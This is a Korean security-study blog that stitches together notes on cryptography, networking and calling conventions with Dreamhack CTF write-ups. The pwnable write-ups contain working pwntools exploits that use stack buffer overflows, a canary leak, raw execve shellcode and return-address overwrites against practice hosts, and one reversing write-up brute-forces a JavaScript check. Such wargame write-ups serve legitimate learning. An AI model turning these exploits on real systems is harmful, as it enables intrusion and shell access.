728x90

1. 암호

암호 기본 개념

평문 Plaintext : 암호화되지 않은 메시지
암호문 Cypertext : 암호화된 메시지

암호화 Encryption : 평문을 암호문으로 만드는 것
복호화 Decryption : 암호문으로부터 평문을 복원하는 것

Key : 평문/암호문을 암호화/복호화시키는 암호 알고리즘에 필요한 핵심 가변정보 값

모듈러 연산 : 어떤 숫자를 다른 숫자로 나눈 나머지를 구하는 연산 ex) a ≡ b (mod n) : a와 b는 n으로 나눈 나머지가 같다
합동 : 어떤 숫자를 다른 숫자로 나눈 나머지가 같은 경우, 이를 합동이라고 함

인코딩 : 데이터를 코드화하고 압축하는 등 다른 형태로 변환하는 것

  • 인코딩은 암호화와 달리 데이터의 기밀성을 고려하지 않고 누구나 디코딩하여 원문을 구할 수 있다. 파일의 크기를 줄이거나 컴퓨터가 알아들을 수 있는 형식으로 변환하기 위해 사용한다.

Base64 : 8비트 이진 데이터(실행 파일, ZIP 파일 등)를 문자 코드에 영향을 받지 않는 공통 ASCII 영역의 문자들로만 이루어진 일련의 문자열로 바꾸는 인코딩 방식을 가리키는 개념.

  • 총 64개로 이루어지며, =은 끝을 알리는 코드로 사용.
  • 24비트 버퍼에 3바이트씩 집어넣고, 6비트식 끊어서 해당하는 문자로 변환

대칭키 암호 (=비밀키 암호)

암호화와 복호화에 같은 암호 키를 쓰는 알고리즘. (ex. DES, AES)

고대 치환 암호 : 평문을 이루는 각각의 문자를 다른 문자로 바꿔 정보를 숨기는 것
카이사르 암호(시저 암호) : 암호화하고자 하는 내용을 알파벳별로 일정한 거리만큼 밀어서 다른 알파벳으로 치환하는 암호 방식
비제네르 암호 : 여러 개의 수를 암호키로 사용하여 카이사르 암호보다 한 층 더 복잡한 다중 치환 암호

블록 암호 : 평문을 정해진 블록 단위로 암호화하는 알고리즘 (ex. AES, DES)
스트림 암호 : 이진 수열로 변환된 평문을 비트 단위로 암호화하는 알고리즘으로, 평문을 키와 배타적 논리합(XOR) 연산을 수행하여 암호문 생성.

비대칭키 암호 (=공개키 암호)

암호화와 복호화에 다른 암호 키를 쓰는 알고리즘으로, 전자서명에 사용됨 (ex. RSA, 타원곡선암호)

공개키 : 평문을 암호문으로 만드는 키로, 누구나 암호화 가능
비밀키(개인키) : 암호문을 복호화하는 키로, 키를 알고 있는 사람만 복호화 가능

일방향 함수 : 계산은 쉾지만 역을 구하는 것은 어려운 함수로, 대부분의 비대칭키 암호화 방식은 이것으로부터 구안
RSA 알고리즘 : 두 개의 큰 소수를 곱한 합성수는 소인수분해가 어렵다는 것을 기반으로 만들어진 암호 알고리즘

해시

데이터를 고정된 길이의 데이터로 매핑하는 함수로, N:1 일방향 함수 (ex. CRC, MD5, SHA1)

key : 매핑 전 데이터의 값(평문)
해시 값 Hash Value : 매핑 후 데이터의 값(암호문)
해시 테이블 Hash Table : 키와 데이터를 저장하는 자료구조
해싱 Hashing : 매핑하는 과정

해시 충돌 : 서로 다른 두 개의 입력값에 대해 동일한 해시 값을 출력하는 상황. 해시 충돌이 발생하지 않을수록 좋은 해시 함수.
눈사태 효과 : 입력 값의 일부만 변경되어도 해시 값이 매우 크게 변함

사용 예시 : 무결성 검증, 비밀번호 저장

스테가노그래피

데이터 은폐 기술 중 하나로, 데이터를 다른 데이터에 삽입해 그 데이터의 존재 자체를 숨기는 것. 오늘날 디지털 스테가노그래피는 이미지, 오디오 파일, 동영상 클립, 텍스트 파일 등 무해해 보이는 객체 안에 비밀 메시지를 감춰두는 방식으로 활용됨.

2, 네트워크 해킹

네트워크 해킹 개요

네트워크 해킹 : 네트워크 상에서 발생되는 해킹을 의미
보안의 기본 요소에 따라 기밀성, 무결성, 가용성의 침해를 받음

(기밀성) 스니핑 sniffing : 네트워크 흐름의 중간에서 도청, 감시 등의 공격을 하는 행위
(무결성) 스푸핑 Spoofing : 사용자가 원하는 행위를 속여 비정상적인 행동을 하는 행위
(가용성) Dos 공격 : 서비스 거부 공격을 수행하여 서버나 시스템이 동작하지 못하도록 공격하는 행위

네트워크 용어 정리

시스템

  • 노드 : 인터넷에 연결된 시스템의 가장 기본적인 용어
  • 호스트 ; 컴퓨팅 기능이 있는 시스템. 양 끝단에 있는 송수신기를 뜻 (ex. PC)
  • 클라이언트 : 서비스를 요청하는 시스템 (호스트가 송신을 할 때)
  • 서버 : 서비스를 제공하는 시스템 (호스트가 수신을 할 때)

프로토콜 : 컴퓨터 간에 정보를 주고받을 때의 통신 방법에 대한 규칙이나 표준

게이트웨이 : 한 네트워크에서 다른 네트워크로 이동하기 위하여 거쳐야 하는 지점

  • 1계층 리피터(repeater)
  • 2계층 브리지(bridge)
  • 3계층 라우터(router)

프로토콜

기본 요소

  • 구문 Syntax : 전송하고자 하는 데이터의 형식(Format), 부호화(Coding), 신호 레벨(Signal Level) 등을 규정
  • 의미 Semantics : 두 기기 간의 효율적이고 정확한 정보 전송을 위한 협조 사항과 오류 관리를 위한 제어 정보를 규정
  • 시간 Timing : 두 기기 간의 통신 속도, 메시지의 순서 제어 등을 규정

OSI 7계층 (OSI 7 Layer)

국제 표준화기구 ISO에서 1984년에 네트워크 통신의 구조를 7계층으로 구분하여 각 계층 간 상호 작동하는 방식을 정의해놓은 것

송신자 측 : 원본 데이터를 상위 계층 → 하위 계층으로 전달하며 각 계층마다 헤더 추가

수신자 측 : 전달받은 데이터를 하위 계층 → 상위 계층으로 전달하며 원본 데이터 전달 받음

 

1계층 - 물리 계층 : 최하층 계층. 2진법의 바이너리 정보를 전기적, 물리적 신호로 수신자에게 정보 전달 (전송 단위 : Bit)

2계층 - 데이터 링크 계층 : 물리 계층에서 일어날 수 있는 오류들을 찾아내고 수정하여 하위 계층으로 데이터 전달 (전송 단위 : Frame)

3계층 -네트워크 계층 : 양 끝단의 사용자들의 IP를 확인하여 최적의 정보 전달이 가능한 루트를 찾는 라우팅을 진행 (전송 단위 : Packet)

4계층 -전송 계층 : 양 끝단의 사용자들이 신뢰성 있는 데이터를 주고받기 위해 프로토콜 정의, 하위 계층으로 데이터 전달 (전송 단위 : Segment)

5계층 -세션 계층 : 양 끝단의 사용자들의 통신을 관리하기 위한 방법을 정의하고 하위 계층으로 데이터 전달

6계층 -표현 계층 : 원본 데이터를 부호화, 변화, 암호화, 복호화, 압축 등을 진행하여 하위 계층으로 데이터 전달

7계층 -응용 계층 : 응용 소프트웨어에서 데이터를 생성하고 하위 계층으로 데이터 전달

 

패킷

네트워크에서 출발지와 목적지 간에 라우팅 되는 데이터 단위

네트워크 패킷은 사용자 데이터와 제어정보로 이루어지며, 사용자 데이터는 페이로드라고 함 (제어정보 : 페이로드를 전달하기 위한 정보)

 

구성요소

  • 헤더 : 소스 주소, 대상 주소, 프로토콜 및 패킷 번호 포함. 전송 중인 패킷 유형을 식별하는 데 도움이 됨.
  • 페이로드 : 패킷에 의해 전송되는 실제 데이털르 나타낸 것, 데이터라고도 함. 헤더 정보가 목적지에 도달할 때 제거됨.
  • 트레일러 : 패킷 트레일러의 내용은 각 네트워크 유형에 따라 다름. 비트와 CRC 포함.

Wireshark

네트워크 패킷을 캡쳐하고 분석하는 오픈 소스 패킷 분석 프로그램

강력하고 쉬운 사용법 때문에 해킹 뿐만 아니라 보안 취약점 분석, 보안 컨설팅, 개인정보 영향평가 등 여러 분야에서 폭넓게 사용됨 

728x90

풀이

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

주어진 문제 코드를 살펴보면 버퍼크기는 0x50인데 입력받는 크기에 제한이 없다. 또, read(0,buf,0x100) 부분에서 0x100까지 읽어올 수 있는데 여기서 canary leak이 발생할 수 있다. 

바이너리를 실행시켜봤을 때 buf와 $rbp 사이의 간격이 96이다. 

 

`checksec ./r2s` 명령어를 통해 보호기법을 확인해보면 위와 같이 나온다. amd 64 아키텍처를 사용하고, 카나리를 사용하니 스택프레임은 아래와 같이 유추할 수 있다.

 

<스택프레임>  

 

canary의 첫번째 null 값을 처리해주면 canary leak에 성공할 수 있을 것 같다. 그러면 일단 canary leak에 대한 익스프로잇 코드를 작성해보자. 

from pwn import *

p = process('./r2s')

payload = b'A'*0x59 #buf + dummy + canary 첫자리 Null

p.sendlineafter(b':',payload)

p.interactive()

 

코드를 실행해보면 canary leak이 발생한 것을 볼 수 있다. 

 

이제 canary를 얻었으니, buf에 셸코드를 입력하고 return address에 buf 주소를 덮어써주면 셸코드가 실행될 것이다.  

from pwn import *

p = remote('host3.dreamhack.games', 14421)
context.arch = 'amd64'

p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1], 16) ## return address에 넣어줄 buf 주소 저장

payload = b'A'*0x59 #buf + dummy + canary 첫자리 Null

p.sendafter(b'Input: ',payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))

sh = asm(shellcraft.sh())
payload = sh.ljust(0x58, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)
p.sendlineafter(b'Input:', payload)

p.interactive()

익스플로잇 코드는 위와 같이 작성했다. 

코드를 실행해보면 셸을 얻고 flag를 확인할 수 있다.

 


배운것

1. `sendafter`와 `sendlineafter`함수를 잘 구분해서 사용하자.
     read 함수 일때는 send / scanf 함수일 때는 sendline
     ex) `ABC\n`을 입력, read는 0x4142430a, scnaf는 0x414243로 읽어옴. (0x0a : 줄바꿈문자)

2. `def slog(n,m): return success(':'.join([n,hex(m)]))` 를 간단히 정의해서 로그를 확인하면서 익스플로잇하면 편하다

3. `shellcraft.sh()` : 셸을 실행하는 셸코드를 생성

4. `asm()` : 어셈블리 코드를 기계어 코드로 변환

5.  `str.ljust(width, fillchar=' ')` : 문자열(str)을 왼쪽으로 정렬하고, 남은 공간을 지정한 문자로 채움. 여기서 width는 채우려는 전체 문자열의 길이. 

6. u64 : 8바이트 길이의 바이트 문자열은 64비트 정수로 변환, 리틀엔디안 형식으로 인코딩된 데이터 해석에 유용

7. p64 : 64비트 정수를 리틀 엔디언 형식의 8바이트 문자열로 변환

(u64와 p64는 아직 적응이 필요하다)

 

'Write-up > Pwnable' 카테고리의 다른 글

[Dreamhack] ssp_001  (0) 2024.05.24
[Dreamhack] basic_exploitation_001  (0) 2024.05.20
[Dreamhack] basic_exploitation_000  (0) 2024.05.20
[Dreamhack] Return Address Overwrite  (0) 2024.05.20
[Dreamhack] shell_basic  (0) 2024.05.11
728x90

 

풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

소스코드를 살펴보면 buf 크기가 0x80인데 gets를 통해 받는 buf 크기에는 제약이 없어 버퍼오버플로우 취약점이 발생한다. 그러면 이제 return address를 read_flag 함수의 주소로 설정하면 flag를 얻을 수 있을 것이다.

gdb를 통해 read_flag의 주소가 0x080485b9인 것을 확인했다.

from pwn import *         

p = remote('host3.dreamhack.games', 20650)

payload = b'A'*0x84 
payload += p32(0x080485b9)

p.sendline(payload)
p.interactive()

buf와 SFP 부분은 모두 A로 채우고 return address를 read_flag의 주소값으로 하는 페이로드를 작성했다.

코드를 실행해보면 flag를 얻을 수 있다. 

'Write-up > Pwnable' 카테고리의 다른 글

[Dreamhack] ssp_001  (0) 2024.05.24
[Dreamhack] Return to Shellcode  (0) 2024.05.22
[Dreamhack] basic_exploitation_000  (0) 2024.05.20
[Dreamhack] Return Address Overwrite  (0) 2024.05.20
[Dreamhack] shell_basic  (0) 2024.05.11
728x90

풀이

주어진 바이너리를 실행시켜 보면 어떤 값이 나오고 입력을 받는다. 소스코드를 확인해보자. 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

코드의 main함수를 살펴보면 프린트된 값이 bufer의 주소값인 것을 확인할 수 있다. 이때 주의 깊게 살펴야 되는 부분이 buf 크기가 0x80(128)으로 지정되어 있는데 scanf를 통해서 입력받는 buf의 크기는 141까지 가능하다. 이 부분을 buffer overflow를 발생시킨다. 

 

우리는 shell을 얻어서 flag를 확인해야한다. 이전의 쉘코드 강의에서 나왔던 execve 셸코드를 실행시킬 수 있으면 shell을 얻을 수 있을 것 같다.

buf에 셸코드를 입력하고 return address를 buf 주소로 조작한다면 셸코드 실행이 가능할 것 같다.

 

<스택프레임>

 

위 내용으로 익스플로잇 코드를 작성해보았다.

from pwn import *         

p = remote('host3.dreamhack.games', 19436)

p.recvuntil("buf = (")
buf_addr = int(p.recv(10),16)

payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload += b"A" * 106

payload += p32(buf_addr)

p.sendline(payload)
p.interactive()

총 132byte를 채워야하는데, 쉘코드가 26byte이기 때문에 나머지는 A로 채웠다. 그리고 먼저 저장해둔 버퍼 주소를 little endian으로 변환시켜 붙여 payload를 완성했다.

코드를 실행시키면 shell을 얻을 수 있고 flag를 읽을 수 있다.

 

 

'Write-up > Pwnable' 카테고리의 다른 글

[Dreamhack] ssp_001  (0) 2024.05.24
[Dreamhack] Return to Shellcode  (0) 2024.05.22
[Dreamhack] basic_exploitation_001  (0) 2024.05.20
[Dreamhack] Return Address Overwrite  (0) 2024.05.20
[Dreamhack] shell_basic  (0) 2024.05.11
728x90

풀이

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

제공된 코드를 살펴보자.

buf 크기는 0x28인데 scanf를 통해 입력받는 buf 크기에 제한이 없는 것을 확인할 수 있다. 이 부분에서 buffer overflow 취약점이 발생할 수 있다.

flag를 읽어오기 위해서는 shell을 얻어야하는데, 그 부분은 get_shell 함수를 실행시키면 될 것 같다. get_shell 함수를 실행시키기 위해서 스택프레임의 return address 부분에 get_shell 함수의 주소값을 입력하는 공격을 하면 된다.

 

<스택프레임>

 

익스플로잇 코드를 작성하기 전에 get_shell 함수의 주소를 알아보자.

gdb를 통해 get_shell 주소가 0x4006aa인 것을 알았다.

from pwn import *         

p = remote('host3.dreamhack.games', 13098)

payload = b'A'*0x38   #buf 0x30 + sfp 0x8
payload += p64(0x4006aa)

p.sendlineafter(b':', payload)        

p.interactive()

buf와 sfp를 모두 A로 채우고 return address를 get_shell 주소로하는 payload를 작성했다.

해당 코드를 실행하면 shell을 얻을 수 있다! 이를 통해 flag 파일을 읽어볼 수 있다. 

'Write-up > Pwnable' 카테고리의 다른 글

[Dreamhack] ssp_001  (0) 2024.05.24
[Dreamhack] Return to Shellcode  (0) 2024.05.22
[Dreamhack] basic_exploitation_001  (0) 2024.05.20
[Dreamhack] basic_exploitation_000  (0) 2024.05.20
[Dreamhack] shell_basic  (0) 2024.05.11
728x90


풀이

제공된 html 파일에 들어가서 내 생일을 입력해보았다. 아쉽게도 정답이 아니다.

6자리 정도면 brute force도 나쁘지 않을 것 같지만 일단 소스코드를 살펴보자. 

confrim 버튼을 누르면 어떤 일이 발생하는지 요소 버튼을 통해 확인해보니, 입력한 값이 _0x9a220 함수로 넘어가는 것을 확인할 수 있었다.

sources 탭을 통해 _0x9a220 함수를 찾아봤는데 하나도 알아볼 수 없었다.

그냥 brute force를 하기로 하자.

일단 방해가 되는 return alert('Wrong') 부분을 return 0가 되도록 원본 파일을 수정해주었다.

for (var y = 0; y <= 99; y++) {
    var result = 0;
    for (var m = 1; m <= 12; m++) {
        for (var d = 1; d <= 31; d++) {
            var input = String(y).padStart(2, '0');
            input += String(m).padStart(2, '0');
            input += String(d).padStart(2, '0');
            console.log(input);
            result = _0x9a220(input);
            if (result) {
                break;
            }
        }
        if (result) {
            break;
        }
    }
    if (result) {
        break;
    }
}

그리고 코드를 작성하여 console 창에 입력했다. 

한참 기다린 뒤에야 값이 나왔다. 

그리고 화면에 떠있는 flag를 확인할 수 있었다. 

'Write-up > Reversing' 카테고리의 다른 글

[Dreamhack] rev-basic-9  (1) 2024.05.18
[Dreamhack] rev-basic-8  (0) 2024.05.14
[Dreamhack] rev-basic-7  (0) 2024.05.14
[Dreamhack] rev-basic-6  (0) 2024.05.14
[Dreamhack] rev-basic-5  (0) 2024.05.14
728x90

1. Calling Convention

함수 호출 규약

함수 호출 규약 : 함수의 호출 및 반환에 대한 약속

호출자 : 프로그래밍에서 다른 함수 또는 메서드를 호출하는 주체. 쉽게 말해, 호출자는 특정 함수 또는 메서드를 실행하도록 명령한 코드 부분을 가리킴.

함수를 호출할 때는 반환된 이후를 위해 호출자의 상태 및 반환 주소를 저장해야함
또한, 호출자는 피호출자가 요구하는 인자를 전달해줘야하고, 피호출자의 실행이 종료될 때는 반환값을 전달받아야 함

함수 호출 규약의 종류

컴파일러는 지원하는 호출 규약 중에서 CPU의 아키텍처에 적합한 것을 선택

x86(32bit) 아키텍처 -> 레지스터 수 적음 -> 스택으로 인자 전달하는 규약 사용
x86-64 아키텍처 -> 레지스터 수 많음 -> 적은 인자는 레지스터만, 많은 인자는 스택 사용

CPU의 아키텍처가 같아도, 컴파일러가 다르면 적용하는 호출 규약이 다름
ex) C 컴파일, x86-64 아키텍처
윈도우 -> MSVC -> MS x64 호출 규약
리눅스 -> gcc -> SYSTEM V 호출 규약

SYSV

리눅스 gcc, x86-64 바이너리 컴파일 시 사용
리눅스 SYSTEM V(SYSV) Application Binary Interface(ABI) 기반, SYSV ABI는 ELF 포맷, 링킹 방법, 함수 호출 규약 등의 내용 포함

함수 호출 규약

  1. 6개의 인자를 RDI, RSI, RDX, RCX, R8, R9에 순서대로 저장하여 전달. 더 많은 인자를 사용해야 할 때는 스택을 추가로 이용.
  2. Caller에서 인자 전달에 사용된 스택을 정리.
  3. 함수의 반환 값은 RAX로 전달.

cdecl

리눅스 gcc, x86 바이너리 컴파일 시 사용
스택을 통해 인자 전달, 인자 전달 위해 사용한 스택을 호출자가 정리
인자 전달시, 거꾸로 스택에 push

* push 횟수 x 4byte 만큼 esp가 증가됨

2. Stack Buffer Overflow

버퍼 오버플로우

버퍼

  • 데이터가 목적지로 이동되기 전에 보관되는 임시 저장소
  • 데이터가 안정적으로 목적지에 도달할 수 있도록 완충 작용을 함
  • 스택에 있는 지역 변수는 '스택 버퍼', 힙에 할당된 메모리 영역은 '힙 버퍼'라고 불림

오버플로우

  • 버퍼가 넘치는 것
  • int로 선언한 지역 변수는 4바이트 크기, 10개의 원소를 갖는 char배열은 10바이트 크기
  • 일반적으로 버퍼는 메모리상 연속 할당됨 -> 특정 버퍼에서 오버플로우 발생하면 뒤에 있는 버퍼들의 값이 조작될 위험이 있음

스택 버퍼 오버플로우 : 스택의 버퍼에서 발생하는 오버플로우

  1. 주요데이터 변조
    버퍼 오버플로우가 발생하는 버퍼 뒤에 중요한 데이터가 있다면, 해당 데이터가 변조됨으로써 문제가 발생할 수 있습니다.

*C 언어에서 if는 0일 때 거짓, 0이 아닐 때 참으로 동작

  1. 데이터 유출
    C언어에서 정상적인 문자열은 널바이트로 종결되며, 표준 문자열 출력 함수들은 널바이트를 문자열의 끝으로 인식합니다. 만약 어떤 버퍼에 오버플로우를 발생시켜서 다른 버퍼와의 사이에 있는 널바이트를 모두 제거하면, 해당 버퍼를 출력시켜서 다른 버퍼의 데이터를 읽을 수 있습니다. 획득한 데이터는 각종 보호기법을 우회하는데 사용될 수 있으며, 해당 데이터 자체가 중요한 정보일 수도 있습니다.

  2. 실행 흐름 조작
    함수의 반환 주소를 조작하여 프로세스의 실행 흐름을 바꿀 수 있다.

728x90

풀이

main 함수이다. sub_140001000 함수를 살펴봐야할 것 같다.

함수를 살펴보면 일단 문자열 a1의 길이는 8의 배수여야 한다. 그리고 이 문자열을 8바이트 단위로 sub_1400010A0 함수에 넘겨준다. 이제 sub_1400010A0 함수를 확인해보자.

byte_140004020[(unsigned __int8)v5[j] ^ v2]는 v5[j]와 v2를 XOR 연산하고, 그 결과를 인덱스로 사용하여 byte_140004020에서 값을 가져온다. 그 가져온 값을 b라고 할 때 a1[(j+1)%8]과 더한 다음 그 값을 5만큼 right rotate 해준다. 그 값을 다시 a1[(j+1)%8]에 넣어준다

ubk_140004000와 byte_140004020 값을 얻어오자.

 

#ubk_140004000
a = "7E 7D 9A 8B 25 2D D5 3D 03 2B 38 98 27 9F 4F BC 2A 79 00 7D C4 2A 4F 58"
a = a.split()
a = [int(x, 16) for x in a]

#byte_140004020 
b = "63 7C 77 7B F2 6B 6F C5  30 01 67 2B FE D7 AB 76 CA 82 C9 7D FA 59 47 F0 AD D4 A2 AF 9C A4 72 C0 B7 FD 93 26 36 3F F7 CC 34 A5 E5 F1 71 D8 31 15 04 C7 23 C3 18 96 05 9A 07 12 80 E2 EB 27 B2 75 09 83 2C 1A 1B 6E 5A A0 52 3B D6 B3 29 E3 2F 84 53 D1 00 ED 20 FC B1 5B 6A CB BE 39 4A 4C 58 CF D0 EF AA FB 43 4D 33 85 45 F9 02 7F 50 3C 9F A8 51 A3 40 8F 92 9D 38 F5 BC B6 DA 21 10 FF F3 D2 CD 0C 13 EC 5F 97 44 17 C4 A7 7E 3D 64 5D 19 73 60 81 4F DC 22 2A 90 88 46 EE B8 14 DE 5E 0B DB E0 32 3A 0A 49 06 24 5C C2 D3 AC 62 91 95 E4 79 E7 C8 37 6D 8D D5 4E A9 6C 56 F4 EA 65 7A AE 08 BA 78 25 2E 1C A6 B4 C6 E8 DD 74 1F 4B BD 8B 8A 70 3E B5 66 48 03 F6 0E 61 35 57 B9 86 C1 1D 9E E1 F8 98 11 69 D9 8E 94 9B 1E 87 E9 CE 55 28 DF 8C A1 89 0D BF E6 42 68 41 99 2D 0F B0 54 BB 16"
b = b.split()
b = [int(x, 16) for x in b]

v5 = "I_am_KEY".encode()

def rol5(a):
    return ((a << 5) | (a >> 3))&0xFF

for k in range(0,len(a),8):
    a1 = a[k:k+8]
    for i in range(16):
        for j in range(7,-1,-1):
            v2 =a1[(j+1)&7]
            tmp = (v5[j] ^ a1[j&7])
            a1[(j+1)&7] = (rol5(v2) - b[tmp]) & 0xff
    for c in a1:
        print(chr(c), end="")

역연산을 하는 파이썬 코드를 작성하면 위와 같다. 

 

파이썬 코드를 실행시켜보면 이와 같은 결과가 나온다.

 

파일을 실행해 확인해보면 맞는 값인 것을 확인할 수 있다. 

'Write-up > Reversing' 카테고리의 다른 글

[Dreamhack] secure-mail  (0) 2024.05.20
[Dreamhack] rev-basic-8  (0) 2024.05.14
[Dreamhack] rev-basic-7  (0) 2024.05.14
[Dreamhack] rev-basic-6  (0) 2024.05.14
[Dreamhack] rev-basic-5  (0) 2024.05.14

+ Recent posts